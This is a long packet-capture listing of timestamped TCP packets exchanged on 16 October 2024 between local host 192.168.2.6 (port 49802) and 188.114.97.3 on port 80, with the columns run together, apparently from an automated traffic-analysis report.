                                                                                    Oct 16, 2024 10:58:24.378027916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378074884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378081083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378086090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378108978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378128052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378382921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378392935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378401995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378422976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378437996 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378468037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378478050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378483057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378496885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378506899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378506899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378526926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378530025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378537893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378549099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378555059 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378559113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378577948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378582001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.378602028 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.378613949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382018089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382040024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382050037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382065058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382087946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382116079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382122993 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382128000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382138968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382148981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382155895 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382169962 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382194042 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382203102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382204056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382222891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382230997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382232904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382241011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382242918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382256031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382261038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382272959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382282972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382282972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382306099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382307053 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382317066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382328033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382334948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382354975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382355928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382385969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382401943 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382432938 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382471085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382555962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382566929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382582903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382591009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382601023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382608891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382615089 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382618904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382623911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382630110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382639885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382649899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382652998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382661104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382666111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382673979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382683992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382694006 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382697105 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382720947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382733107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382772923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382783890 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382793903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382803917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382813931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382814884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382823944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382833004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382833958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382848024 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382863998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382874012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382874012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382884979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.382900953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.382920980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.419168949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.419183016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.419193029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.419202089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.419213057 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.419220924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.419271946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.419271946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.462816000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.462831020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.462841034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.462866068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.462874889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.462881088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.462888956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.462898970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.462918997 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.462949038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463053942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463102102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463121891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463131905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463140965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463160038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463165045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463175058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463176012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463202953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463232040 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463232040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463243961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463253975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463267088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463269949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463278055 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463279009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463295937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463315964 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463507891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463526964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463535070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463546991 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463571072 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463583946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463593960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463603020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463617086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463640928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463666916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463676929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463685989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.463700056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.463722944 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.477392912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.477463007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.477473974 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.477478981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.477493048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.477535009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.488610983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.488667011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.488676071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.488684893 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.488692999 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.488714933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.488763094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490189075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490211964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490238905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490247965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490262985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490281105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490288973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490302086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490307093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490338087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490346909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490348101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490358114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490390062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490401983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490415096 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490427017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490436077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490449905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490454912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490463018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490474939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490474939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490484953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490495920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490502119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490520954 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490544081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490643024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490653992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490658998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490672112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490684032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490693092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490698099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490710974 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490732908 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490737915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490765095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490772963 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490776062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490799904 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490812063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490880966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490897894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490907907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490920067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490931034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490961075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.490968943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490979910 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.490988970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491005898 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491014957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491028070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491039038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491071939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491116047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491126060 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491133928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491142988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491153002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491157055 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491163015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491168022 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491195917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491200924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491205931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491214991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491225004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491234064 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491242886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491241932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491241932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491252899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491265059 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491266012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491272926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491290092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491307020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491326094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491360903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491375923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491393089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491411924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491415024 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491426945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491430044 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491450071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491461039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491519928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491530895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491539955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491558075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491580963 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491607904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491619110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491628885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491638899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491646051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491651058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491681099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491691113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491692066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491702080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491713047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491717100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491724968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491725922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491736889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.491751909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.491772890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493087053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493129015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493129015 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493140936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493165970 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493199110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493222952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493233919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493242979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493252993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493261099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493263960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493283033 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493310928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493403912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493413925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493428946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493438005 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493447065 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493448019 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493458033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493463039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493469954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493479013 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493486881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493498087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493506908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493515968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493529081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493530035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493541002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493550062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493552923 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493562937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493577003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493587017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493588924 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493603945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493617058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.493657112 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.493669033 CEST8049802188.114.97.3192.168.2.6
